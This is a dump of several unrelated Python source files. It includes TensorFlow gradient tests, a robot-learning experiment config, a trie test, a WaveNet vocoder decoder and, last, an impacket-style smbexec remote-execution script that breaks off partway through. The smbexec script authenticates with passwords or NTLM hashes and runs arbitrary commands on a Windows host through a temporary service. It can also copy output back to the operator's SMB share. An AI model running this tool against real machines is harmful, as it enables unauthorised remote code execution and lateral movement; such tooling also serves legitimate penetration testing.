self._xdivy_gradients(x, y) xdivy_expected_xgrad = self.evaluate(1 / y) xdivy_expected_ygrad = self.evaluate(-x / y**2) self.assertAllClose(xdivy_expected_xgrad, xdivy_xgrad) self.assertAllClose(xdivy_expected_ygrad, xdivy_ygrad) @test_util.run_deprecated_v1 def testZeroXGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0., dtype=dtype) y = constant_op.constant(3.1, dtype=dtype) xdivy_xgrad, xdivy_ygrad = self._xdivy_gradients(x, y) zero = self.evaluate(x) self.assertAllClose(zero, xdivy_xgrad) self.assertAllClose(zero, xdivy_ygrad) @test_util.run_deprecated_v1 def testZeroYGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0.1, dtype=dtype) y = constant_op.constant(0., dtype=dtype) xdivy_xgrad, xdivy_ygrad = self._xdivy_gradients(x, y) self.assertAllClose(np.inf, xdivy_xgrad) self.assertAllClose(-np.inf, xdivy_ygrad) @test_util.run_deprecated_v1 def testZeroXYGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0., dtype=dtype) y = constant_op.constant(0., dtype=dtype) xdivy_xgrad, xdivy_ygrad = self._xdivy_gradients(x, y) zero = self.evaluate(x) self.assertAllClose(zero, xdivy_xgrad) self.assertAllClose(zero, xdivy_ygrad) @test_util.run_all_in_graph_and_eager_modes class PowGradTest(test.TestCase): def test_zero_grad_tf_gradients(self): if context.executing_eagerly(): self.skipTest("tf.gradients not supported in eager.") x = constant_op.constant([-1., 0., 1.]) g = self.evaluate(gradients.gradients(math_ops.pow(x, 2), x)[0]) self.assertAllClose([-2., 0., 2.], g) def test_zero_grad_tape(self): try: check_numerics_callback.enable_check_numerics() x = constant_op.constant([-1, 0., 1.]) with backprop.GradientTape() as tape: tape.watch(x) g = tape.gradient(math_ops.pow(x, 2), x) g = self.evaluate(g) self.assertAllClose([-2., 0., 2.], g) finally: check_numerics_callback.disable_check_numerics() @test_util.run_all_in_graph_and_eager_modes class NextAfterTest(test.TestCase): def _nextafter_gradient(self, x1, x2): with backprop.GradientTape() as tape: tape.watch(x1) tape.watch(x2) y = math_ops.nextafter(x1, x2) return tape.gradient(y, [x1, x2]) def testBasic(self): for dtype in [dtypes.float32, dtypes.float64]: x1 = constant_op.constant(0.1, dtype=dtype) x2 = constant_op.constant(3.1, dtype=dtype) dx1, dx2 = self._nextafter_gradient(x1, x2) expected_dx1 = constant_op.constant(1, dtype=dtype) expected_dx2 = constant_op.constant(0, dtype=dtype) self.assertAllClose(expected_dx1, dx1) self.assertAllClose(expected_dx2, dx2) def testDynamicShapes(self): for dtype in [dtypes.float32, dtypes.float64]: default_x1 = constant_op.constant(0.1, dtype=dtype) default_x2 = constant_op.constant(3.1, dtype=dtype) x1 = array_ops.placeholder_with_default(default_x1, shape=None) x2 = array_ops.placeholder_with_default(default_x2, shape=None) dx1, dx2 = self._nextafter_gradient(x1, x2) expected_dx1 = constant_op.constant(1, dtype=dtype) expected_dx2 = constant_op.constant(0, dtype=dtype) self.assertAllClose(expected_dx1, dx1) self.assertAllClose(expected_dx2, dx2) def testWithGradientChecker(self): for dtype in [dtypes.float32, dtypes.float64]: with self.cached_session(): x1 = np.array([-1, 0, 1, 2, 3], dtype=dtype.as_numpy_dtype) x2 = np.array([2, 2, 2, 2, 2], dtype=dtype.as_numpy_dtype) err = gradient_checker_v2.max_error( *gradient_checker_v2.compute_gradient( lambda x: math_ops.nextafter(x, x2), [x1])) # pylint: disable=cell-var-from-loop self.assertLess(err, 1e-3) def testBroadcastingWithGradientChecker(self): for dtype in [dtypes.float32, dtypes.float64]: with self.cached_session(): x1 = np.array([-1, 0, 1, 2, 3], dtype=dtype.as_numpy_dtype) x2 = np.array([2], dtype=dtype.as_numpy_dtype) err = gradient_checker_v2.max_error( *gradient_checker_v2.compute_gradient( lambda x: math_ops.nextafter(x, x2), [x1])) # pylint: disable=cell-var-from-loop self.assertLess(err, 1e-3) if __name__ == "__main__": test.main()

39.699552

97

0.680108

4a07d2a4ce8c4b81c551dea0466994b0ceeade50

4,127

py

Python

experiments/vitchyr/rig/reset-free/pusher_xyz_many_objs/online_vae.py

Asap7772/rail-rl-franka-eval

4bf99072376828193d05b53cf83c7e8f4efbd3ba

[ "MIT" ]

null

experiments/vitchyr/rig/reset-free/pusher_xyz_many_objs/online_vae.py

Asap7772/rail-rl-franka-eval

4bf99072376828193d05b53cf83c7e8f4efbd3ba

[ "MIT" ]

null

experiments/vitchyr/rig/reset-free/pusher_xyz_many_objs/online_vae.py

Asap7772/rail-rl-franka-eval

4bf99072376828193d05b53cf83c7e8f4efbd3ba

[ "MIT" ]

null

import railrl.misc.hyperparameter as hyp from multiworld.envs.mujoco.cameras import sawyer_pusher_camera_upright_v2 from multiworld.envs.mujoco.sawyer_xyz.sawyer_push_many_env import ( SawyerPushManyXyEnv, ) from railrl.launchers.launcher_util import run_experiment from railrl.torch.grill.launcher import grill_her_td3_online_vae_full_experiment import railrl.torch.vae.vae_schedules as vae_schedules if __name__ == "__main__": variant = dict( double_algo=False, env_class=SawyerPushManyXyEnv, env_kwargs=dict( hide_goal_markers=True, reset_free=False, randomize_num_objects=False, ), init_camera=sawyer_pusher_camera_upright_v2, grill_variant=dict( save_video=True, online_vae_beta=2.5, save_video_period=250, qf_kwargs=dict( hidden_sizes=[400, 300], ), policy_kwargs=dict( hidden_sizes=[400, 300], ), algo_kwargs=dict( base_kwargs=dict( num_epochs=1000, num_steps_per_epoch=1000, num_steps_per_eval=5000, min_num_steps_before_training=4000, batch_size=128, max_path_length=100, discount=0.99, num_updates_per_env_step=2, ), td3_kwargs=dict( tau=1e-2, ), online_vae_kwargs=dict( vae_training_schedule=vae_schedules.every_six, oracle_data=False, vae_save_period=25, ), ), replay_kwargs=dict( max_size=int(30000), fraction_goals_are_rollout_goals=0., fraction_resampled_goals_are_env_goals=0.5, exploration_rewards_scale=0.0, exploration_rewards_type='reconstruction_error', alpha=3, ), algorithm='GRILL-HER-TD3', normalize=False, render=False, exploration_noise=0.8, exploration_type='ou', training_mode='train', testing_mode='test', reward_params=dict( type='latent_distance', ), observation_key='latent_observation', desired_goal_key='latent_desired_goal', ), train_vae_variant=dict( representation_size=16, beta=1.0, num_epochs=0, generate_vae_dataset_kwargs=dict( N=100, test_p=.9, oracle_dataset=True, use_cached=False, num_channels=3, ), vae_kwargs=dict( input_channels=3, ), algo_kwargs=dict( do_scatterplot=False, use_linear_dynamics=False, lr=1e-3, ), save_period=5, ), version='easy-env', ) search_space = { 'env_kwargs.num_resets_before_puck_reset': [1], 'grill_variant.algo_kwargs.base_kwargs.max_path_length': [500], 'grill_variant.replay_kwargs.power': [3], } sweeper = hyp.DeterministicHyperparameterSweeper( search_space, default_parameters=variant, ) n_seeds = 1 mode = 'local' exp_prefix = 'dev' n_seeds = 3 mode = 'ec2' exp_prefix = 'vitchyr-sawyer-multipush-xy-online-reset-hand-with-puck' \ '-broken-sample-goals-still' for exp_id, variant in enumerate(sweeper.iterate_hyperparameters()): for _ in range(n_seeds): run_experiment( grill_her_td3_online_vae_full_experiment, exp_prefix=exp_prefix, mode=mode, variant=variant, use_gpu=True, snapshot_gap=200, snapshot_mode='gap_and_last', num_exps_per_instance=2, )

33.282258

80

0.542767

4a07d355293680de3d819e97122de65349434919

592

py

Python

tests/test_trie.py

scottwedge/Python-Datastructures

3ea489ac54c64d57fe25d974250bf19fa5f8898d

[ "MIT" ]

null

tests/test_trie.py

scottwedge/Python-Datastructures

3ea489ac54c64d57fe25d974250bf19fa5f8898d

[ "MIT" ]

null

tests/test_trie.py

scottwedge/Python-Datastructures

3ea489ac54c64d57fe25d974250bf19fa5f8898d

[ "MIT" ]

null

import unittest from python_datastructures.trie import Trie class Test_Trie(unittest.TestCase): def setUp(self): words = ['apple', 'app', 'android', 'and'] self.trie = Trie() self.trie.build(words) def test_add(self): self.trie.add("amazon") self.assertEqual(self.trie.wordcount, 5) def test_contains(self): self.assertEqual(self.trie.contains("app"), True) self.assertEqual(self.trie.contains("amazon"), False) self.assertEqual(self.trie.contains("ap"), True) if __name__ == "__main__": unittest.main()

23.68

61

0.641892

4a07d3c52852ea729f862476ab0c3adb5fc47adb

157

py

Python

01_Language/01_Functions/python/date_date_set.py

cliff363825/TwentyFour

09df59bd5d275e66463e343647f46027397d1233

[ "MIT" ]

3

2020-06-28T07:42:51.000Z

2021-01-15T10:32:11.000Z

01_Language/01_Functions/python/date_date_set.py

cliff363825/TwentyFour

09df59bd5d275e66463e343647f46027397d1233

[ "MIT" ]

9

2021-03-10T22:45:40.000Z

2022-02-27T06:53:20.000Z

01_Language/01_Functions/python/date_date_set.py

cliff363825/TwentyFour

09df59bd5d275e66463e343647f46027397d1233

[ "MIT" ]

1

2021-01-15T10:51:24.000Z

# coding: utf-8 import datetime if __name__ == '__main__': d = datetime.datetime.now() d = d.replace(2001, 2, 3) print(d.strftime("%Y-%m-%d"))

17.444444

33

0.598726

4a07d4916f78db80fac2c116e5cc938e01dadfbb

15,729

py

Python

decode.py

exeex/PytorchWaveNetVocoder

c21556026ebeac4fdb9e2f4ccb707d7db23114f2

[ "Apache-2.0" ]

null

decode.py

exeex/PytorchWaveNetVocoder

c21556026ebeac4fdb9e2f4ccb707d7db23114f2

[ "Apache-2.0" ]

null

decode.py

exeex/PytorchWaveNetVocoder

c21556026ebeac4fdb9e2f4ccb707d7db23114f2

[ "Apache-2.0" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 2017 Tomoki Hayashi (Nagoya University) # Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) import argparse import logging import math import os import sys import numpy as np import soundfile as sf import torch import torch.multiprocessing as mp from sklearn.preprocessing import StandardScaler from torchvision import transforms from torchvision import transforms from wavenet_vocoder.nets.wavenet_utils import decode_mu_law from wavenet_vocoder.nets.wavenet_utils import encode_mu_law from wavenet_vocoder.nets import WaveNet from wavenet_vocoder.nets.wavenet_pulse import WaveNetPulse from wavenet_vocoder.utils import extend_time from wavenet_vocoder.utils import find_files from wavenet_vocoder.utils import read_hdf5 from wavenet_vocoder.utils import read_txt from wavenet_vocoder.utils import shape_hdf5 from dataset import p_trans_binary, p_trans_binary_multi_channel from functools import partial import pulse_world.pyworld as pw def shift_semi_tone_f0_pulse(f0, shift=2): freq_scale = 2 ** (shift / 12) # print(f0.max()) f0[:] = f0[:] * freq_scale # print(f0.max()) return f0 def pad_list(batch_list, pad_value=0.0): """PAD VALUE. Args: batch_list (list): List of batch, where the shape of i-th batch (T_i, C). pad_value (float): Value to pad. Returns: ndarray: Padded batch with the shape (B, T_max, C). """ batch_size = len(batch_list) maxlen = max([batch.shape[0] for batch in batch_list]) n_feats = batch_list[0].shape[-1] batch_pad = np.zeros((batch_size, maxlen, n_feats)) for idx, batch in enumerate(batch_list): batch_pad[idx, :batch.shape[0]] = batch return batch_pad def pad_along_axis(array: np.ndarray, target_length, axis=0): pad_size = target_length - array.shape[axis] axis_nb = len(array.shape) if pad_size < 0: return array.take(indices=range(target_length), axis=axis) npad = [(0, 0) for _ in range(axis_nb)] npad[axis] = (0, pad_size) b = np.pad(array, pad_width=npad, mode='constant', constant_values=0) return b def decode_generator(feat_list, batch_size=32, feature_type="world", wav_transform=None, feat_transform=None, pulse_transform=p_trans_binary_multi_channel, upsampling_factor=80, use_upsampling_layer=True, use_speaker_code=False, use_pulse=True, f0_transform=None, ): """GENERATE DECODING BATCH. Args: feat_list (list): List of feature files. batch_size (int): Batch size in decoding. feature_type (str): Feature type. wav_transform (func): Preprocessing function for waveform. feat_transform (func): Preprocessing function for aux feats. upsampling_factor (int): Upsampling factor. use_upsampling_layer (bool): Whether to use upsampling layer. use_speaker_code (bool): Whether to use speaker code> Returns: generator: Generator instance. """ # --------------------------- # sample-by-sample generation # --------------------------- if batch_size == 1: raise NotImplementedError # ---------------- # batch generation # ---------------- else: # sort with the feature length shape_list = [shape_hdf5(f, "/" + feature_type)[0] for f in feat_list] idx = np.argsort(shape_list) feat_list = [feat_list[i] for i in idx] # divide into batch list n_batch = math.ceil(len(feat_list) / batch_size) batch_lists = np.array_split(feat_list, n_batch) batch_lists = [f.tolist() for f in batch_lists] for batch_list in batch_lists: batch_x = [] batch_h = [] batch_p = [] n_samples_list = [] feat_ids = [] for featfile in batch_list: # make seed waveform and load aux feature x = np.zeros((1)) h = read_hdf5(featfile, "/" + feature_type) if f0_transform is not None: f0 = read_hdf5(featfile, "/" + 'world_f0') f0 = f0_transform(f0) fs = args.fs p = pw.synthesize_pulse_new(f0, fs, frame_period=args.shiftms).astype(np.int32) __p = read_hdf5(featfile, "/" + 'world_pulse') assert len(p) == len(__p) else: p = read_hdf5(featfile, "/" + 'world_pulse') if pulse_transform is not None: p = pulse_transform(p) assert p.max() <= 1.0 if not use_upsampling_layer: h = extend_time(h, upsampling_factor) if use_speaker_code: sc = read_hdf5(featfile, "/speaker_code") sc = np.tile(sc, [h.shape[0], 1]) h = np.concatenate([h, sc], axis=1) # perform pre-processing if wav_transform is not None: x = wav_transform(x) if feat_transform is not None: h = feat_transform(h) if use_pulse: h = np.concatenate([h[:, 0:1], h[:, 2:]], axis=1) # remove cont_f0_lpf # append to list batch_x += [x] batch_h += [h] batch_p += [p] if not use_upsampling_layer: n_samples_list += [h.shape[0] - 1] else: n_samples_list += [h.shape[0] * upsampling_factor - 1] feat_ids += [os.path.basename(featfile).replace(".h5", "")] # convert list to ndarray batch_x = np.stack(batch_x, axis=0) len_p_max = max([len(p) for p in batch_p]) batch_p = [pad_along_axis(p, len_p_max, axis=0) for p, n_sample in zip(batch_p, n_samples_list)] batch_p = np.stack(batch_p) batch_h = pad_list(batch_h) # convert to torch variable batch_x = torch.from_numpy(batch_x).long() # B, 1 batch_p = torch.from_numpy(batch_p).float().transpose(1, 2) # B, C=1, T batch_h = torch.from_numpy(batch_h).float().transpose(1, 2) # B, C, T(Frame) # print(batch_x.shape, batch_p.shape, batch_h.shape) # send to cuda if torch.cuda.is_available(): batch_x = batch_x.cuda() batch_h = batch_h.cuda() batch_p = batch_p.cuda() yield feat_ids, (batch_x, batch_h, batch_p, n_samples_list) # pulse """ --checkpoint /home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sdp/exp/pulse_repeat1_1227/checkpoint-200000.pkl --feats /home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sdp/hdf5/ev_slt --outdir eva_out_pulse1228 --stats /home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sdp/data/tr_slt/stats.h5 --config /home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sdp/exp/pulse_repeat1_1227/model.conf --use_pulse --f0_shift 0 """ # no pulse repeat1 """ --checkpoint /home/cswu/research/PytorchWaveNetVocoder/no_pulse_repeat1/checkpoint-200000.pkl --config /home/cswu/research/PytorchWaveNetVocoder/no_pulse_repeat1/model.conf --outdir eva_out_no_pulse --feats /home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sd/hdf5/ev_slt --stats /home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sd/data/tr_slt/stats.h5 """ # no pulse repeat3 """ --checkpoint /home/cswu/research/PytorchWaveNetVocoder/no_pulse_repeat3/checkpoint-200000.pkl --config /home/cswu/research/PytorchWaveNetVocoder/no_pulse_repeat3/model.conf --outdir eva_out_no_pulse_repeat3 --feats /home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sd/hdf5/ev_slt --stats /home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sd/data/tr_slt/stats.h5 """ def parse_args(): parser = argparse.ArgumentParser() # decode setting parser.add_argument("--feats", required=True, type=str, help="list or directory of aux feat files") parser.add_argument("--checkpoint", required=True, type=str, help="model file") parser.add_argument("--outdir", required=True, type=str, help="directory to save generated samples") parser.add_argument("--stats", default=None, type=str, help="hdf5 file including statistics") parser.add_argument("--config", default=None, type=str, help="configure file") parser.add_argument("--fs", default=16000, type=int, help="sampling rate") parser.add_argument("--shiftms", default=5, type=float, help="Frame shift in msec") parser.add_argument("--batch_size", default=32, type=int, help="number of batch size in decoding") parser.add_argument("--n_gpus", default=1, type=int, help="number of gpus") parser.add_argument("--use_pulse", default=False, action='store_true', help="using pulse signal") parser.add_argument("--f0_shift", required=True, type=int, help="f0 shift semi tone") # other setting parser.add_argument("--intervals", default=1000, type=int, help="log interval") parser.add_argument("--seed", default=1, type=int, help="seed number") parser.add_argument("--verbose", default=1, type=int, help="log level") args = parser.parse_args() return args def main(args): """RUN DECODING.""" # set log level if args.verbose > 0: logging.basicConfig(level=logging.INFO, format='%(asctime)s (%(module)s:%(lineno)d) %(levelname)s: %(message)s', datefmt='%m/%d/%Y %I:%M:%S') elif args.verbose > 1: logging.basicConfig(level=logging.DEBUG, format='%(asctime)s (%(module)s:%(lineno)d) %(levelname)s: %(message)s', datefmt='%m/%d/%Y %I:%M:%S') else: logging.basicConfig(level=logging.WARNING, format='%(asctime)s (%(module)s:%(lineno)d) %(levelname)s: %(message)s', datefmt='%m/%d/%Y %I:%M:%S') logging.warning("logging is disabled.") # show arguments for key, value in vars(args).items(): logging.info("%s = %s" % (key, str(value))) # check arguments if args.stats is None: args.stats = os.path.dirname(args.checkpoint) + "/stats.h5" if args.config is None: args.config = os.path.dirname(args.checkpoint) + "/model.conf" if not os.path.exists(args.stats): raise FileNotFoundError("statistics file is missing (%s)." % (args.stats)) if not os.path.exists(args.config): raise FileNotFoundError("config file is missing (%s)." % (args.config)) # check directory existence if not os.path.exists(args.outdir): os.makedirs(args.outdir) # fix seed os.environ['PYTHONHASHSEED'] = str(args.seed) np.random.seed(args.seed) torch.manual_seed(args.seed) # fix slow computation of dilated convargs.feats # https://github.com/pytorch/pytorch/issues/15054#issuecomment-450191923 torch.backends.cudnn.benchmark = True # load config config = torch.load(args.config) # get file list if os.path.isdir(args.feats): feat_list = sorted(find_files(args.feats, "*.h5")) elif os.path.isfile(args.feats): feat_list = read_txt(args.feats) else: logging.error("--feats should be directory or list.") sys.exit(1) # prepare the file list for parallel decoding feat_lists = np.array_split(feat_list, args.n_gpus) feat_lists = [f_list.tolist() for f_list in feat_lists] # define transform scaler = StandardScaler() scaler.mean_ = read_hdf5(args.stats, "/" + config.feature_type + "/mean") scaler.scale_ = read_hdf5(args.stats, "/" + config.feature_type + "/scale") wav_transform = transforms.Compose([ lambda x: encode_mu_law(x, config.n_quantize)]) feat_transform = transforms.Compose([ lambda x: scaler.transform(x)]) f0_transform = transforms.Compose([partial(shift_semi_tone_f0_pulse, shift=args.f0_shift)]) # define gpu decode function def gpu_decode(feat_list, gpu): # set default gpu and do not track gradient torch.cuda.set_device(gpu) torch.set_grad_enabled(False) # define model and load parameters if config.use_upsampling_layer: upsampling_factor = config.upsampling_factor else: upsampling_factor = 0 if args.use_pulse: _WaveNet = WaveNetPulse else: _WaveNet = WaveNet config.n_aux = 28 model = _WaveNet( n_quantize=config.n_quantize, n_aux=config.n_aux, n_resch=config.n_resch, n_skipch=config.n_skipch, dilation_depth=config.dilation_depth, dilation_repeat=config.dilation_repeat, kernel_size=config.kernel_size, upsampling_factor=upsampling_factor) model.load_state_dict(torch.load(args.checkpoint, map_location=lambda storage, loc: storage)["model"]) model.eval() model.cuda() print(args.use_pulse) # define generator generator = decode_generator( feat_list, batch_size=args.batch_size, feature_type=config.feature_type, wav_transform=wav_transform, feat_transform=feat_transform, f0_transform=f0_transform, upsampling_factor=config.upsampling_factor, use_upsampling_layer=config.use_upsampling_layer, use_speaker_code=config.use_speaker_code, use_pulse=args.use_pulse) # decode if args.batch_size > 1: for feat_ids, (batch_x, batch_h, batch_p, n_samples_list) in generator: logging.info("decoding start") samples_list = model.batch_fast_generate( batch_x, batch_h, n_samples_list, batch_p, intervals=args.intervals) for feat_id, samples in zip(feat_ids, samples_list): wav = decode_mu_law(samples, config.n_quantize) sf.write(args.outdir + "/" + feat_id + ".wav", wav, args.fs, "PCM_16") logging.info("wrote %s.wav in %s." % (feat_id, args.outdir)) else: raise NotImplementedError # parallel decode processes = [] for gpu, feat_list in enumerate(feat_lists): p = mp.Process(target=gpu_decode, args=(feat_list, gpu,)) p.start() processes.append(p) # wait for all process for p in processes: p.join() if __name__ == "__main__": args = parse_args() # data_folder = '/home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sd/wav_hpf/tr_slt' # # filenames = os.listdir(data_folder) # # filenames = sorted(find_files(args.waveforms, "*.wav", use_dir_name=False)) # print(filenames) # # data_folder = '/home/cswu/research/PytorchWaveNetVocoder/egs/arctic/sd/wav_hpf/tr_slt' # args.hdf5dir = 'test' # args.wavdir = data_folder main(args) # wav_list = [os.path.join(data_folder, filename) for filename in filenames] # wav_list = wav_list[:2] # world_feature_extract(wav_list, args)

36.4942

114

0.610401

4a07d4fdb65e870f524bdfa87d9abe5d5ec73f34

13,971

py

Python

deps/smbexec1.py

IMULMUL/portia-1

2e6e608d926026ec63e151dfd23ea5bead9307bb

[ "Apache-2.0" ]

514

2017-07-23T09:29:52.000Z

2022-03-30T16:45:01.000Z

deps/smbexec1.py

crypticterminal/portia-1

36b974a9f48fc73f1306640e85554c3ceda1c825

[ "Apache-2.0" ]

9

2017-08-02T05:01:19.000Z

2018-12-27T14:40:26.000Z

deps/smbexec1.py

crypticterminal/portia-1

36b974a9f48fc73f1306640e85554c3ceda1c825

[ "Apache-2.0" ]

137

2017-07-29T23:41:38.000Z

2022-03-21T03:50:03.000Z

#!/usr/bin/env python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # A similar approach to psexec w/o using RemComSvc. The technique is described here # http://www.accuvant.com/blog/owning-computers-without-shell-access # Our implementation goes one step further, instantiating a local smbserver to receive the # output of the commands. This is useful in the situation where the target machine does NOT # have a writeable share available. # Keep in mind that, although this technique might help avoiding AVs, there are a lot of # event logs generated and you can't expect executing tasks that will last long since Windows # will kill the process since it's not responding as a Windows service. # Certainly not a stealthy way. # # This script works in two ways: # 1) share mode: you specify a share, and everything is done through that share. # 2) server mode: if for any reason there's no share available, this script will launch a local # SMB server, so the output of the commands executed are sent back by the target machine # into a locally shared folder. Keep in mind you would need root access to bind to port 445 # in the local machine. # # Author: # beto (@agsolino) # # Reference for: # DCE/RPC and SMB. import sys import os import cmd import argparse import ConfigParser import logging from threading import Thread from impacket.examples import logger from impacket import version, smbserver from impacket.smbconnection import * from impacket.dcerpc.v5 import transport, scmr OUTPUT_FILENAME = '__output' BATCH_FILENAME = 'execute.bat' SMBSERVER_DIR = '__tmp' DUMMY_SHARE = 'TMP' results='' class SMBServer(Thread): def __init__(self): Thread.__init__(self) self.smb = None def cleanup_server(self): logging.info('Cleaning up..') try: os.unlink(SMBSERVER_DIR + '/smb.log') except: pass os.rmdir(SMBSERVER_DIR) def run(self): # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') smbConfig.set('global','credentials_file','') # Let's add a dummy share smbConfig.add_section(DUMMY_SHARE) smbConfig.set(DUMMY_SHARE,'comment','') smbConfig.set(DUMMY_SHARE,'read only','no') smbConfig.set(DUMMY_SHARE,'share type','0') smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path') self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) logging.info('Creating tmp directory') try: os.mkdir(SMBSERVER_DIR) except Exception, e: logging.critical(str(e)) pass logging.info('Setting up SMB Server') self.smb.processConfigFile() logging.info('Ready to listen...') try: self.smb.serve_forever() except: pass def stop(self): self.cleanup_server() self.smb.socket.close() self.smb.server_close() self._Thread__stop() class CMDEXEC: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None, kdcHost=None, mode=None, share=None, port=445, command=None): self.__command = command self.__username = username self.__password = password self.__port = port self.__serviceName = 'BTOBTO1' self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__share = share self.__mode = mode self.shell = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def getOutput(self): return results def run(self, remoteName, remoteHost): stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName logging.debug('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport,'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.shell = None try: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.daemon = True serverThread.start() self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command) #self.shell.cmdloop() if self.__mode == 'SERVER': serverThread.stop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.critical(str(e)) if self.shell is not None: self.shell.finish() sys.stdout.flush() print "exit" #sys.exit(1) class RemoteShell(cmd.Cmd): def __init__(self, share, rpc, mode, serviceName, command): cmd.Cmd.__init__(self) self.__share = share self.__mode = mode self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME self.__batchFile = '%TEMP%\\' + BATCH_FILENAME self.__outputBuffer = '' self.__command = command self.__shell = '%COMSPEC% /Q /c ' self.__serviceName = serviceName self.__rpc = rpc self.intro = '[!] Launching semi-interactive shell - Careful what you execute' self.__scmr = rpc.get_dce_rpc() try: self.__scmr.connect() except Exception, e: print "exit1" logging.critical(str(e)) sys.exit(1) s = rpc.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if mode == 'SERVER': myIPaddr = s.getSMBServer().get_socket().getsockname()[0] self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] self.transferClient = rpc.get_smb_connection() self.do_cd('') self.execute_remote(command) global results results = self.__outputBuffer print self.__outputBuffer def finish(self): # Just in case the service is still created try: self.__scmr = self.__rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) except: pass def do_shell(self, s): os.system(s) def do_exit(self, s): return True def emptyline(self): return False def do_cd(self, s): # We just can't CD or mantain track of the target dir. if len(s) > 0: logging.error("You can't CD under SMBEXEC. Use full paths.") self.execute_remote('cd ' ) if len(self.__outputBuffer) > 0: # Stripping CR/LF self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>' self.__outputBuffer = '' def do_CD(self, s): return self.do_cd(s) def default(self, line): if line != '': self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data if self.__mode == 'SHARE': self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback) self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) else: fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') output_callback(fd.read()) fd.close() os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) def execute_remote(self, data): command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + self.__batchFile logging.debug('Executing %s' % command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output() def send_data(self, data): self.execute_remote(data) print self.__outputBuffer self.__outputBuffer = '' # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from ' '(default C$)') parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', help='mode to use (default SHARE, SERVER needs root!)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' 'If ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' 'name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format 